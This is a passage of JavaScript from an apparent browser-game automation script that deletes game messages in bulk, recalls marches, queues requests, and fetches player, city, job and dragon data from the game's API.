					var max_physical = toNum(t.totMessages / 12) + ((t.totMessages % 12 != 0) ? 1 : 0);
					if (pages_max > max_physical) pages_max = max_physical;
					var steptext = translate('Read pages ') + pages_min + ' ' + translate('to') + ' ' + pages_max + ' ' + translate('of') + ' ' + max_physical;
					clearTimeout(t.readPagesTimer);
					t.step++;
					t.percent = toNum(t.step * 100 / t.steps);
					progressBar.update({
						step: t.percent,
						stepText: steptext
					});
					MyAjax.messageList('all', t.pageReading, MAX_READ, function(rslt) {
						var t = Messages;
						/*logit('Messages.readPages : Num page = '+t.pageReading+(rslt ? '\n'+inspectObj(rslt,8,1) : ''));*/
						if (rslt != null && rslt.report_notifications && rslt.report_notifications != null && t.pageReading > 0) {
							t.pageReading--;
							t.readPagesTimer = setTimeout(t.readPages, 2000);
						}
					});
				} else {
					clearTimeout(t.readPagesTimer);
					if (t.mode == 'del')
						t.readPagesTimer = setTimeout(t.selectMessages, 2000);
					else t.messageDeletion = false;
				}
			},
			selectMessages: function() {
				var t = Messages;
				t.step++;
				t.percent = toNum(t.step * 100 / t.steps);
				progressBar.update({
					step: t.percent,
					stepText: translate('Selecting messages to delete') + '...'
				});
				for (var i in Messages.details) {
					var msgToDelete = false,
						msg = Messages.details[i];
					if (!is_null(msg)) {
						switch (msg.type) {
							case 'BattleReport':
								if (!is_null(msg.report)) {
									if (Data.options.messages_delete.rptBattle && msg.report.sanctuary) {
										msgToDelete = msg.report.sanctuary;
										if (msgToDelete && (
											(Data.options.messages_delete.rptExceptMyAttacks && msg.report.attacker.name == Seed.player.name) ||
											(Data.options.messages_delete.rptExceptYourAttacks && msg.report.attacker.name != Seed.player.name)))
											msgToDelete = false;
									} else if (Data.options.messages_delete.rptAnthropus && msg.report.defender.anthropus) {
										msgToDelete = msg.report.defender.anthropus;
									}
								} else if (Data.options.messages_delete.rptBattle || Data.options.messages_delete.rptAnthropus) {
									t.toRead.push(i);
									t.total_battle++;
								}
								break;
							case 'CurseReport':
								msgToDelete = Data.options.messages_delete.rptCurse;
								break;
							case 'SentinelWarning':
								msgToDelete = Data.options.messages_delete.msgSentinel;
								break;
							case 'SpyReport':
								msgToDelete = Data.options.messages_delete.rptSpy;
								break;
							case 'ReinforcementsReport':
								msgToDelete = Data.options.messages_delete.rptReinforcement;
								break;
							case 'TradingReport':
								msgToDelete = Data.options.messages_delete.rptTrading;
								break;
							case 'TransportMarchReport':
								msgToDelete = Data.options.messages_delete.rptTransport;
								break;
							case 'PlayerMessage':
								msgToDelete = Data.options.messages_delete.msgPlayer;
								break;
							case 'AllianceMessage':
								msgToDelete = Data.options.messages_delete.msgAlliance;
								break;
							case 'SystemMessage':
							case 'Leaderboard::TournamentAwardMessage':
							case 'TargetedMessage':
								msgToDelete = Data.options.messages_delete.msgGame;
								break;
							case 'Messages::Breeding':
							case 'Messages::Hatching':
								msgToDelete = Data.options.messages_delete.rptBreeding;
								break;
							default:
								msgToDelete = false;
						}
						if (msgToDelete && !Data.options.messages_delete.dateAll)
							if (msg.created_at < t.period[0] || msg.created_at > t.period[1])
								msgToDelete = false;
						if (msgToDelete || msg.checked) {
							msg.checked = true;
							t.total_to_delete++;
						}
					}
				}
				clearTimeout(t.readPagesTimer);
				if (t.total_battle > 0 && t.toRead.length > 0)
					t.readPagesTimer = setTimeout(t.readBattles, 2000);
				else
					t.readPagesTimer = setTimeout(t.deleteSelected, 2000);
			},
			readBattles: function() {
				var t = Messages;
				clearTimeout(t.readPagesTimer);
				t.read_battle++;
				t.battle_percent = Math.floor(t.read_battle * 100 / ((t.total_battle == 0) ? 1 : t.total_battle));
				t.percent = toNum(t.step * 100 / t.steps);
				t.percent = t.percent + (t.battle_percent / t.steps);
				if (t.percent != t.old_percent) {
					progressBar.update({
						step: t.percent,
						stepText: translate('Reading battle reports') + '...' + '<br>' + t.read_battle + '/' + t.total_battle
					});
					t.old_percent = t.percent;
				}
				var id = t.toRead[0];
				if (!id) {
					t.toRead.shift();
					if (t.toRead.length > 0)
						t.readPagesTimer = setTimeout(t.readBattles, 1500);
					else
						t.readPagesTimer = setTimeout(t.deleteSelected, 2000);
					return;
				}
				/*logit('Messages.readBattles : message '+id+ ' call to MyAjax.messageDetail');*/
				MyAjax.messageDetail(id, function(rslt) {
					var t = Messages;
					if (rslt != null && rslt.report_notification && rslt.report) {
						var msgToDelete = false,
							msg = Messages.details[rslt.report_notification.id];
						if (!is_null(msg.report)) {
							if (Data.options.messages_delete.rptBattle && msg.report.sanctuary) {
								msgToDelete = msg.report.sanctuary;
								if (msgToDelete && (
									(Data.options.messages_delete.rptExceptMyAttacks && msg.report.attacker.name == Seed.player.name) ||
									(Data.options.messages_delete.rptExceptYourAttacks && msg.report.attacker.name != Seed.player.name)))
									msgToDelete = false;
							} else if (Data.options.messages_delete.rptAnthropus && msg.report.defender.anthropus) {
								msgToDelete = msg.report.defender.anthropus;
							}
						} else msgToDelete = true;
						if (msgToDelete && !Data.options.messages_delete.dateAll)
							if (msg.created_at < t.period[0] || msg.created_at > t.period[1])
								msgToDelete = false;
						if (msgToDelete) {
							msg.checked = msgToDelete;
							t.total_to_delete++;
						}
					}
					t.toRead.shift();
					if (t.toRead.length > 0)
						t.readPagesTimer = setTimeout(t.readBattles, 1500);
					else {
						t.readPagesTimer = setTimeout(t.deleteSelected, 2000);
					}
				});
			},
			deleteSelected: function() {
				var t = Messages;
				t.step++;
				t.percent = toNum(t.step * 100 / t.steps);
				t.old_percent = 0;
				for (var i in Messages.details) {
					if (Messages.details[i].checked) {
						t.delete_count++;
						t.delete_percent = Math.floor(t.delete_count * 100 / ((t.total_to_delete == 0) ? 1 : t.total_to_delete));
						t.percent = toNum(t.step * 100 / t.steps);
						t.percent = t.percent + (t.delete_percent / t.steps);
						if (t.percent != t.old_percent) {
							progressBar.update({
								step: t.percent,
								stepText: translate('Deleting messages') + '...' + '<br>' + t.delete_count + '/' + t.total_to_delete
							});
							t.old_percent = t.percent;
						}
						if (t.idsToDelete.length > MAX_DELETE) {
							MyAjax.messageDelete(t.idsToDelete);
							t.idsToDelete = [];
						}
						t.idsToDelete.push(i);
						t.result_count++;
					}
				}
				if (t.idsToDelete.length > 0) {
					MyAjax.messageDelete(t.idsToDelete);
					t.idsToDelete = [];
				}
				setTimeout(t.deleteComplete, Math.randRange(2000, 5000));
				return;
			},
			deleteComplete: function() {
				var t = Messages;
				t.messageDeletion = false;
			}
		};
		/******************************** Messages package ***************************/

		/******************************** Names package ******************************/
		var Names = {
			troops: {
				'names': [
					[0, 'Porter', 'Porter'],
					[1, 'Conscript', 'Conscr'],
					[2, 'Spy', 'Spy'],
					[3, 'Halberdsman', 'Halbrd'],
					[4, 'Minotaur', 'Mino'],
					[5, 'Longbowman', 'LBM'],
					[6, 'SwiftStrikeDragon', 'SSDrg'],
					[7, 'BattleDragon', 'BatDrg'],
					[8, 'ArmoredTransport', 'ATrans'],
					[9, 'Giant', 'Giant'],
					[10, 'FireMirror', 'FireM'],
					[11, 'GreatDragon', 'GrtDrg'],
					[12, 'WaterDragon', 'WatDrg'],
					[13, 'StoneDragon', 'StnDrg'],
					[14, 'FireDragon', 'FireDrg'],
					[15, 'WindDragon', 'WndDrg'],
					[16, 'IceDragon', 'IceDrg'],
					[17, 'SwampDragon', 'SwpDrg'],
					[18, 'SpectralDragon', 'SpctDrg'],
					[19, 'AquaTroop', 'Fang'],
					[20, 'StoneTroop', 'Ogre'],
					[21, 'FireTroop', 'Magma'],
					[22, 'WindTroop', 'Banshee'],
					[23, 'IceTroop', 'SReaper'],
					[24, 'SwampTroop', 'Venom'],
					[25, 'PackDragon', 'PackDrg'],
					[26, 'FrostGiant', 'FGiant'],
					[27, 'ForestDragon', 'ForDrg'],
					[28, 'ForestTroop', 'Titan'],
					[29, 'DesertDragon', 'DesDrg'],
					[30, 'DesertTroop', 'Strider'],
					[31, 'DarkSlayer', 'Slayer'],
					[32, 'LightningCannon', 'LCannon'],
					[33, 'ChargeTroop', 'Storm'],
					[34, 'ChronoDragon', 'Chrono'],
					[35, 'VengeWyrm', 'Wyrm'],
					[36, 'DimensionalRuiner', 'Ruiner'],
					[37, 'KaiserDragon', 'Kaiser'],
					[38, 'ArcticLeviathan', 'Leviathan'],
					[39, 'Harrier', 'Harr.'],
					[40, 'CaveDragon', 'CavDrg'],
					[41, 'LunaDragon', 'LunDrg'],
					[42, 'Defendo', 'Defen'],
					[43, 'ShadowStalker', 'ShadStalk'],
					[44, 'Shaman', 'Shaman'],
					[45, 'WarScarab', 'Scarab'],
					[46, 'VoltRanger', 'Ranger'],
					[47, 'DragonRider', 'DrgRid'],
					[48, 'ColossusDragon', 'ColDrg'],
					[49, 'ColossalMite', 'Mite'],
					[50, 'AbyssalRavager', 'AbyRava']
				]
			},

			transco: {
				'AquaTroopRespiratorStack100': ['AquaTroopRespirator', 100],
				'AquaTroopRespiratorStack500': ['AquaTroopRespirator', 500],
				'AquaTroopRespiratorStack1000': ['AquaTroopRespirator', 1000],
				'StoneTroopItemStack100': ['StoneTroopItem', 100],
				'StoneTroopItemStack500': ['StoneTroopItem', 500],
				'StoneTroopItemStack1000': ['StoneTroopItem', 1000],
				'FireTroopItemStack100': ['FireTroopItem', 100],
				'FireTroopItemStack500': ['FireTroopItem', 500],
				'FireTroopItemStack1000': ['FireTroopItem', 1000],
				'WindTroopItemStack100': ['WindTroopItem', 100],
				'WindTroopItemStack500': ['WindTroopItem', 500],
				'WindTroopItemStack1000': ['WindTroopItem', 1000],
				'IceTroopItemStack100': ['IceTroopItem', 100],
				'IceTroopItemStack500': ['IceTroopItem', 500],
				'IceTroopItemStack1000': ['IceTroopItem', 1000],
				'SwampTroopItemStack100': ['SwampTroopItem', 100],
				'SwampTroopItemStack500': ['SwampTroopItem', 500],
				'SwampTroopItemStack1000': ['SwampTroopItem', 1000],
				'FrostGiantItemStack100': ['FrostGiantItem', 100],
				'FrostGiantItemStack500': ['FrostGiantItem', 500],
				'FrostGiantItemStack1000': ['FrostGiantItem', 1000],
				'ForestTroopItemStack100': ['ForestTroopItem', 100],
				'ForestTroopItemStack500': ['ForestTroopItem', 500],
				'ForestTroopItemStack1000': ['ForestTroopItem', 1000],
				'DarkSlayerItemStack100': ['DarkSlayerItem', 100],
				'DarkSlayerItemStack500': ['DarkSlayerItem', 500],
				'DarkSlayerItemStack1000': ['DarkSlayerItem', 1000]
			},

			init: function() {
				var t = Names;
				t.makeIdx(t.troops);
			},
			getTroopAbbr: function(name) {
				var x = Names.troops.byName[name];
				if (x) return x[2];
				return name.substr(0, 14);
			},
			makeIdx: function(o) {
				byAbbr = {};
				byName = {};
				var n = o.names;
				for (var i = 0; i < n.length; i++) {
					byAbbr[n[i][2]] = n[i];
					byName[n[i][1]] = n[i];
				}
				o.byAbbr = byAbbr;
				o.byName = byName;
			}
		};
		/******************************** Names package ******************************/

		/******************************** Recall march package ***********************/
		var RecallMarch = {
			init: function() {
				var t = RecallMarch;
				if (is_null(Data.dynamic.recall_marches)) Data.dynamic.recall_marches = [];
				t.timer = setTimeout(t.doit, 1000);
			},

			doit: function() {
				var t = RecallMarch;
				for (var m = 0; m < Data.dynamic.recall_marches.length; m++) {
					if (Data.dynamic.recall_marches[m] === undefined)
						Data.dynamic.recall_marches.splice(m, 1);
					else if ((Data.dynamic.recall_marches[m] !== undefined) && (Marches.find(Data.dynamic.recall_marches[m].marchId) == null)) {
						debugLog('***** March to recall missing from seed: ' + inspectObj(Data.dynamic.recall_marches[m]));
						Data.dynamic.recall_marches.splice(m, 1);
					}
				}
				for (var m = 0; m < Data.dynamic.recall_marches.length; m++) {
					if ((Data.dynamic.recall_marches[m] !== undefined) && (Marches.find(Data.dynamic.recall_marches[m].marchId) !== null)) {
						var now = toNum(serverTime());
						if ((Data.dynamic.recall_marches[m].run_at - now) < 60 && !Data.dynamic.recall_marches[m].recalling) {
							Data.dynamic.recall_marches[m].recalling = true;
							verboseLog('Recalling march ' + Data.dynamic.recall_marches[m].marchId +
								' arrives at ' + timestr(Data.dynamic.recall_marches[m].run_at, true) + ' ' +
								', current time ' + timestr(now, true) + ', diff ' + (Data.dynamic.recall_marches[m].run_at - now) + 's');
							doRecallMarch(Data.dynamic.recall_marches[m]);
						}
					}
				}
				t.timer = setTimeout(t.doit, 1000);

				function doRecallMarch(march) {
					var targMsg = 'Recall march ' + march.marchId;
					verboseLog(targMsg + ' ' + translate('attempted'));
					new MyAjax.marchRecall(march.cityId, march.marchId, function(rslt) {
						if (rslt.ok) {
							delete(march);
							actionLog(targMsg);
							verboseLog(targMsg + ' ' + translate('succeeded'));
						} else {
							march.recalling = false;
							verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
						}
					});
				}
			},
			exists: function(march_id) {
				var t = RecallMarch;
				if (!Data.dynamic.recall_marches || Data.dynamic.recall_marches.length === 0) return false;
				var found = false;
				for (var m = 0; m < Data.dynamic.recall_marches.length && !found; m++) {
					if (Data.dynamic.recall_marches[m].marchId == march_id) found = true;
				}
				return found;
			}
		};
		/******************************** Recall march package ***********************/

		/******************************** RequestQueue package ***********************/
		var RequestQueue = {
			que: {},
			add: function(id, func, maxWaitMillis, can_be_bypassed) {
				var t = RequestQueue;
				var now = serverTime(),
					maxWait = 0;
				if (isNaN(maxWaitMillis)) maxWait = 1000;
				else maxWait = maxWaitMillis;
				if (t.que[id]) {
					if (now + maxWait >= t.que[id][2]) return;
					clearTimeout(t.que[id][1]);
				}
				var timer = setTimeout(function() {
					myFunc(id)
				}, maxWait);
				t.que[id] = [func, timer, now + maxWait, can_be_bypassed];

				function myFunc(id) {
					var t = RequestQueue;
					var func = t.que[id][0];
					delete t.que[id];
					func();
				}
			},
			dispQ: function(msg) {
				var now = serverTime();
				var m = msg + ' (now=' + timestrh(now) + ') :\n';
				for (var p in RequestQueue.que) {
					m += p + ' : ' + RequestQueue.que[p][1] + ' : ' + RequestQueue.que[p][2] + ' (' + (RequestQueue.que[p][2] - now) + ')\n';
				}
				debugLog(m);
			},
			isPending: function(id, maxWait) {
				var t = RequestQueue;
				if (t.que[id] && maxWait) {
					var now = serverTime();
					if ((now + maxWait < t.que[id][2]) && t.que[id][3]) return false;
					else return true;
				} else return t.que[id] ? true : false;
			}
		};
		/******************************** RequestQueue package ***********************/

		var Forge = {
			data: {},
			
			checkForgeRequirements: function(objName, type) {
				var t = Forge;
				var req = Forge.data.recipes[objName].requirements;
				var ret = {
					result : true,
					reason : []
				};
				if(t.getBlackSmithLevel() < req.blacksmith_level) {
					ret.result = false;
					ret.reason.push('Niveau du Forgeron non atteint');
				}
				for(var it in req.items) {
					if(t.getNbPlayerItem(it, type)<req.items[it]) {
						ret.result = false;
						ret.reason.push('Pas assez de '+translate(it.toLowerCase()));
					}
				}
				return ret;
			},
			getBlackSmithLevel: function() {
				var bs = Seed.blacksmith;
				var j=0;
				if(bs.experience >= 20000) {
					ret = 10;
				} else {
					for(var i in Forge.data.blacksmith_experience){
						var nextLvlXp = Forge.data.blacksmith_experience[i];
						if(bs.experience<nextLvlXp) {
							if(j != 0)
								j = j-1;
							break;
						}
						j++;
					}
				}
				return j;
			},
			getNbPlayerItem: function(itN, type) {
				return 
				var ret=0;
				var itsP = Seed.player.forge.items[type];
				for(var i=0;i<itsP.length;i++) {
					ret = itsP[i].quantity;
					break;
				}
				return ret;
			},
			getStatByUnit: function (unit) {
				var ret = { 
					melee:0,
					defense:0,
					speed:0,
					range:0,
					ranged:0,
					life:0
				};
				var itsP = Seed.player.forge.items['equipments'];
				for(var i=0;i<itsP.length;i++) {
					if(itsP[i].troop_type==unit && itsP[i].state == 'equipped') {
						for(var sta in itsP[i].stats){
							ret[sta] += itsP[i].stats[sta];
						}
					}
				}
				return ret;
			}
		};
		
		/******************************** Seed package *******************************/
		var Seed = {
			blacksmith: {},
			cities: [],
			/* cities */
			cityIdx: {},
			/* 'indicies' */
			cityTs: {},
			/* timestamps of last update */
			cityInit: [],
			jobs: {},
			/* by city */
			numMarches: 0,
			generals: {},
			requirements: {
				building: [],
				research: [],
				resurrect: [],
				unit: [],
				dragon: []
			},
			stats: {
				building: {},
				dragons: {},
				research: {},
				resurrect: {},
				unit: {},
				dragon: {}
			},
			refresh_cities: [],
			greatDragons: {
				GreatDragon: [],
				WaterDragon: [],
				StoneDragon: [],
				FireDragon: [],
				WindDragon: [],
				IceDragon: [],
				SwampDragon: [],
				ForestDragon: [],
				DesertDragon: [],
				ChronoDragon: [],
				SpectralDragon: [],
				KaiserDragon: [],
				CaveDragon: [],
				LunaDragon: [],
				ColossusDragon: []
			},
			dragonList: [],
			dragons: {},
			items: {},
			sanctuary_dragons: {},
			quests: {
				category: [],
				list: []
			},
			numGenerals: 0,
			serverTimeOffset: 0,
			lastRefresh: 0,
			tickTimer: 0,
			numCities: 0,
			updatingCity: false,
			research: [],
			armors: [],

			init: function(callback) {
				var t = Seed;
				t.fetchPlayer(function(rslt) {
					if (rslt.ok)
						verboseLog(translate('Player data was Successfully requested from the server'));
					else verboseLog('fetchPlayer ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
				}, {
					noCities: true
				});
				clearInterval(t.tickTimer);
				t.tickTimer = setInterval(t.tick, 1000);
				MyAjax.getForge();
			},

			fetchPlayer: function(callback, options) {
				var city;
				if (callback instanceof Function) {
					var callback = callback;
					var options = options || {};
				} else {
					var options = callback;
					var callback = null;
				}

				if (options && options.noPlayer) {
					/* options.cities (array) */
					/* only fetch the cities id in the array */
					if (options && options.cities) {
						for (var i = 0; i < options.cities.length; i++) {
							if (Seed.cityIdx[options.cities[i]] !== undefined) {
								verboseLog('FetchPlayer : Call fetchCity');
								setTimeout(Seed.fetchCity, Math.randRange(i * 1000, i * 3000), options.cities[i], callback);
							}
						}
						if (!options.jobs && !options.dragons) return;
					}
					if (options && options.jobs) {
						setTimeout(Seed.fetchJobs, Math.randRange(i * 1000, i * 3000), callback);
						if (!options.dragons) return;
					}
					if (options && options.dragons) {
						setTimeout(Seed.fetchDragons, Math.randRange(i * 1000, i * 3000), callback);
						return;
					}
				}

				var p = {};
				p = MyAjax.addMainParams();
				new MyAjaxRequest('player', 'player.json', p, function(rslt) {
					if (rslt.ok) {
						if (rslt.dat.timestamp) {
							Seed.serverTimeOffset = rslt.dat.timestamp - (new Date().getTime() / 1000);
						}
						Seed.player = rslt.dat;
						/* options.cities (array) */
						/* only fetch the cities id in the array */
						if (options && options.cities) {
							for (var i = 0; i < options.cities.length; i++) {
								if (Seed.cityIdx[options.cities[i]] !== undefined) {
									verboseLog('FetchPlayer / player.json : Call fetchCity');
									setTimeout(Seed.fetchCity, Math.randRange(i * 1000, i * 3000), options.cities[i], callback);
								}
							}
							if (!options.jobs && !options.dragons) return;
						}
						if (options && options.jobs) {
							setTimeout(Seed.fetchJobs, Math.randRange(i * 1000, i * 3000), callback);
							if (!options.dragons) return;
						}
						if (options && options.dragons) {
							setTimeout(Seed.fetchDragons, Math.randRange(i * 1000, i * 3000), callback);
							return;
						}

						/* Fill the cityInit array */
						/* (used here & in the StartUp process so it must be before to verified options.noCities) */
						var i = 0;
						for (city in rslt.dat.cities) {
							if (Seed.cityInit[i] === undefined) {
								Seed.cityInit[i] = {};
							}
							Seed.cityInit[i].id = rslt.dat.cities[city].id;
							Seed.cityInit[i].type = city;
							i++;
						}

						/* option.noCities (boolean) */
						/* Don't fetch Cities if we are from StartUp, because we do from there */
						if (options && options.noCities) {
							if (callback) callback(rslt);
							return;
						}
						/* OK, fetch all cities */
						try {
							for (var i = 0; i < Seed.cityInit.length; i++) {
								if (Seed.cityInit[i].timer) {
									clearTimeout(Seed.cityInit[i].timer);
								}
								verboseLog('FetchPlayer / all cities : Call fetchCity');
								Seed.cityInit[i].timer = setTimeout(Seed.fetchCity, Math.randRange(i * 2000, i * 4000), Seed.cityInit[i].id, callback);
							}
						} catch (e) {
							rslt.ok = false;
							rslt.errmsg = e.toString();
						}
					}
					if (callback) callback(rslt);
					return;
				});
			},

			fetchCity: function(cityId, callback) {
				if (!cityId) return;
				var t = Seed;
				var p = {};
				p = MyAjax.addMainParams();
				new MyAjaxRequest('cities', 'cities/' + cityId + '.json', p, function(rslt) {
					if (rslt.ok) {
						if (rslt.dat.timestamp) {
							t.serverTimeOffset = rslt.dat.timestamp - (new Date().getTime() / 1000);
							if (rslt.dat.city.type == 'Capital')
								t.lastRefresh = serverTime();
						}
						try {
							t.updateCity(rslt.dat.city);
						} catch (e) {
							rslt.ok = false;
							rslt.errmsg = 'Exception - ' + e.toString();
						}
					}
					if (!rslt.ok) verboseLog('fetchCity ' + translate('attempt for') + ' ' + cityId + ' ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					var found = false;
					for (var c = 0; c < t.refresh_cities.length && !found; c++) {
						if (t.refresh_cities[c].id == cityId) {
							t.refresh_cities[c].isRefreshing = false;
							found = true;
						}
					}
					if (callback) callback(rslt);
				}, true);
			},

			fetchJobs: function(callback) {
				var t = Seed;
				var p = {};
				p = MyAjax.addMainParams();
				new MyAjaxRequest('jobs', 'player/jobs.json', p, function(rslt) {
					if (rslt.ok) {
						try {
							for (var city in rslt.dat.result.result) {
								var jobs_list = rslt.dat.result.result[city];
								if (jobs_list && jobs_list.length > 0) {
									for (var j = 0; j < jobs_list.length; j++) {
										Seed.checkAddJob(jobs_list[j]);
									}
								}
								Seed.checkRemoveJobs();
							}
						} catch (e) {
							rslt.ok = false;
							rslt.errmsg = 'Exception - ' + e.toString();
						}
					}
					if (!rslt.ok) verboseLog('fetchJobs ' + translate('attempted') + ' ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
				});
			},

			fetchDragons: function(callback) {
				var t = Seed;
				var p = {};
				p = MyAjax.addMainParams();
				new MyAjaxRequest('dragons', 'dragons/', p, function(rslt) {
					if (rslt.ok) {
						try {
							var dragons = cloneProps(rslt.dat.result.dragons);
							Seed.sanctuary_dragons = {};
							for (var i = 0; i < dragons.length; i++) {
								for (var j in dragons[i]) {
									var dragon = cloneProps(dragons[i][j]);
									var dragon_name = dragon.type.substring(dragon.type.indexOf('::') + 2);
									dragon_name = (dragon_name == 'CityGreatDragon') ? 'GreatDragon' : dragon_name;
									dragon.name = dragon_name;
									var dragon_rank = sanctuaryDragonRank[dragon.rank];
									dragon.type = dragon.gender + '-' + dragon_rank;
									dragon.subtype = ((j == 'city_great_dragon') ? 'great_dragon' : j).replace(/ |_/g, '-');
									Seed.sanctuary_dragons[dragon.id] = cloneProps(dragon);
									if (!Data.options.sanctuary.feeding[dragon.id]) Data.options.sanctuary.feeding[dragon.id] = {
										enable: false,
										cap: 9
									};
								}
							}
							/* Clean data.options.sanctuary.feeding of all missing dragons */
							for (var d in Data.options.sanctuary.feeding) {
								if (!Seed.sanctuary_dragons[d]) delete(Data.options.sanctuary.feeding[d]);
							}

							Seed.sanctuary_dragons.player_slots = rslt.dat.result.master_rookery.player_slots;

						} catch (e) {
							rslt.ok = false;
							rslt.errmsg = 'Exception - ' + e.toString();
						}
					}
					if (!rslt.ok) verboseLog('fetchDragons ' + translate('attempted') + ' ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					if (callback) callback(rslt);
				});
			},

			addToRefresh: function(cityId, is_refreshing) {
				var t = Seed;
				var found = false;
				var now = serverTime();
				for (var c = 0; c < t.refresh_cities.length && !found; c++)
					if (t.refresh_cities[c].id == cityId) found = true;
					/* if city not queued to refresh and time elapsed since last refresh done is greater than 1 minute */
				if (!found) t.refresh_cities.push({
					id: cityId,
					isRefreshing: is_refreshing
				});
			},

			tick: function() { /* called once per second - to check for job completion */
				var t = Seed;
				var now = toNum(serverTime());
				var lock_food = false;
				try {
					for (var p = 0; p < all_resource_types.length; p++) {
						var production = t.cities[CAPITAL.id].figures.resource_rates[all_resource_types[p]];
						var actual = t.cities[CAPITAL.id].resources[all_resource_types[p]];
						if (t.player.boosts && t.player.boosts.collect_resources && all_resource_types[p] == 'food' && actual > production.capacity) lock_food = true;
						if (((actual < production.capacity && production.rate > 0) ||
							(actual > (production.vault_capacity || 0) && production.rate < 0)) && !lock_food) {
							if (t.lastRefresh && t.lastRefresh != 0) {
								/* Case when a delay is to take into account when city data has just been updated */
								actual = actual + ((production.rate / 3600) * toNum(now - t.lastRefresh));
								t.lastRefresh = 0;
							} else
								actual = actual + (production.rate / 3600);
							if (actual > production.capactity) actual = production.capacity;
							if (actual < (production.vault_capacity || 0)) actual = (production.vault_capacity || 0); /* Case of food with negative production rate */
							/* update the Seed resource total only if the city is not queued for refresh */
							if (!t.refresh_cities[CAPITAL.id])
								t.cities[CAPITAL.id].resources[all_resource_types[p]] = actual;
						}
					}
				} catch (e) {
					verboseLog(translate('Resources stock levels update failed') + ': ' + inspectObj(e, 8, 1));
					clearInterval(t.tickTimer);
					setTimeout(t.restartTick, 30000);
					return;
				}

				/* check for job completion */
				for (var cityIdx in t.jobs) {
					for (var jobId in t.jobs[cityIdx]) {
						var job = t.jobs[cityIdx][jobId];
						if (job.done) {
							if (now > (job.run_at - 1)) {
								var to_delete = true;
								var march = Marches.find(job.march_id);
								if (march) {
									switch (march.status) {
										case 'marching':
											if (now > march.run_at + 10) t.addToRefresh(cityIdx, false);
											break;
										case 'retreating':
											if ((now < march.real_run_at) || t.updatingCity) {
												to_delete = false;
												break;
											}
											if (march.general_id) {
												if (!t.generals[march.general_id]) {
													t.generals[march.general_id] = {};
													debugLog('ERROR in Seed.tick() : could not be found General Id: ' + march.general_id + ' in Seed.generals. Creating an entry to fix the problem.');
												}
												t.generals[march.general_id].busy = false;
												t.generals[march.general_id].x = march.x;
												t.generals[march.general_id].y = march.y;
												t.generals[march.general_id].status = march.status;
											}
											var dragon_type = null;
											var found_in_list = false;
											for (var unit_type in march.units) {
												for (var gd = 0; gd < Seed.dragonList.length && !found_in_list; gd++) {
													if (Seed.dragonList[gd].type == unit_type) {
														found_in_list = true;
														dragon_type = unit_type;
													}
												}
											}
											if (dragon_type !== null && Seed.dragons[dragon_type])
												Seed.dragons[dragon_type].is_in_city = true;
											t.addToRefresh(t.cities[CAPITAL.id].id, false);
											if (march.units['WaterDragon']) t.addToRefresh(t.cities[WATER_OUTPOST.id].id, false);
											if (march.units['StoneDragon']) t.addToRefresh(t.cities[STONE_OUTPOST.id].id, false);
											if (march.units['FireDragon']) t.addToRefresh(t.cities[FIRE_OUTPOST.id].id, false);
											if (march.units['WindDragon']) t.addToRefresh(t.cities[WIND_OUTPOST.id].id, false);
											if (march.units['IceDragon']) t.addToRefresh(t.cities[ICE_OUTPOST.id].id, false);
											if (march.units['SwampDragon']) t.addToRefresh(t.cities[SWAMP_OUTPOST.id].id, false);
											if (march.units['ForestDragon']) t.addToRefresh(t.cities[FOREST_OUTPOST.id].id, false);
											if (march.units['DesertDragon']) t.addToRefresh(t.cities[DESERT_OUTPOST.id].id, false);
											if (march.units['ChronoDragon']) t.addToRefresh(t.cities[CHRONO_OUTPOST.id].id, false);
											if (march.units['KaiserDragon']) t.addToRefresh(t.cities[SKY_OUTPOST.id].id, false);
											if (march.units['CaveDragon']) t.addToRefresh(t.cities[CAVE_OUTPOST.id].id, false);
											if (march.units['LunaDragon']) t.addToRefresh(t.cities[LUNA_OUTPOST.id].id, false);
											if (march.units['ColossusDragon']) t.addToRefresh(t.cities[COLOSSUS_OUTPOST.id].id, false);
											Marches.remove(march.id);
											break;
									}
								}
								if (to_delete) delete(t.jobs[cityIdx][jobId]);
							}
						} else {
							if (now > (job.run_at - 1)) {
								job.done = true;
								switch (job.queue) {
									case 'breeding':
										Seed.fetchPlayer({
											noPlayer: true,
											cities: [],
											jobs: true,
											dragons: true
										});
										break;
									case 'building':
										SoundPlayer.PlaySound(job.queue);
										Tabs.Jobs.buildRefreshLvl = true;
										Buildings.setLevel(cityIdx, job.city_building_id, job.level);
										Tabs.Jobs.buildRefreshTab = true;
										break;
									case 'feeding':
										Seed.fetchPlayer({
											noPlayer: true,
											cities: [],
											jobs: true,
											dragons: true
										});
										break;
									case 'hatching':
										Seed.fetchPlayer({
											noPlayer: true,
											cities: [],
											jobs: true,
											dragons: true
										});
										break;
									case 'march':
										var march = Marches.find(job.march_id);
										if (march && march.status == 'marching') t.addToRefresh(cityIdx, false);
										break;
									case 'research':
										SoundPlayer.PlaySound(job.queue);
										Seed.player.research[job.research_type] = job.level;
										break;
									case 'units':
										SoundPlayer.PlaySound(job.queue);
										Seed.cities[CAPITAL.id].units[job.unit_type] += job.quantity;
										break;
									default:
										t.addToRefresh(cityIdx, false);
								}
							}
						}
					}
				}
				t.numMarches = 0;
				for (var type in Data.marches) {
					if (!(/(attacks|waves|spies|multiple|bookmark|transport)/.test(type))) continue;
					for (var id in Data.marches[type])
						t.numMarches++;
				}
				if (Data.marches) Marches.updateCounters();

				if (t.refresh_cities.length) {
					for (var idx = t.refresh_cities.length - 1; idx >= 0; idx--) {
						var city_id = t.refresh_cities[idx];
						if (!city_id.isRefreshing) {
							city_id.isRefreshing = true;
							verboseLog('Seed.tick : Call fetchCity for ' + city_id.id);
							t.fetchCity(city_id.id, function(res) {
								if (res.ok) {
									Seed.refresh_cities.splice(idx, 1);
								} else {
									var error_msg;
									var delay = 30000;
									if (res.status === 429) {
										error_msg = '<b>API Rate Limit Exceeded</b>, too many requests!';
										delay = E429_DELAY * 1000;
									} else if (res.status === 509) {
										error_msg = '<b>Rate Limit Exceeded</b>, too many requests!';
										delay = 1800000;
									} else error_msg = res.errmsg;
									verboseLog('Seed.tick : Call fetchCity returned code ' + res.status + ' - ' + error_msg); /*res.errmsg);*/
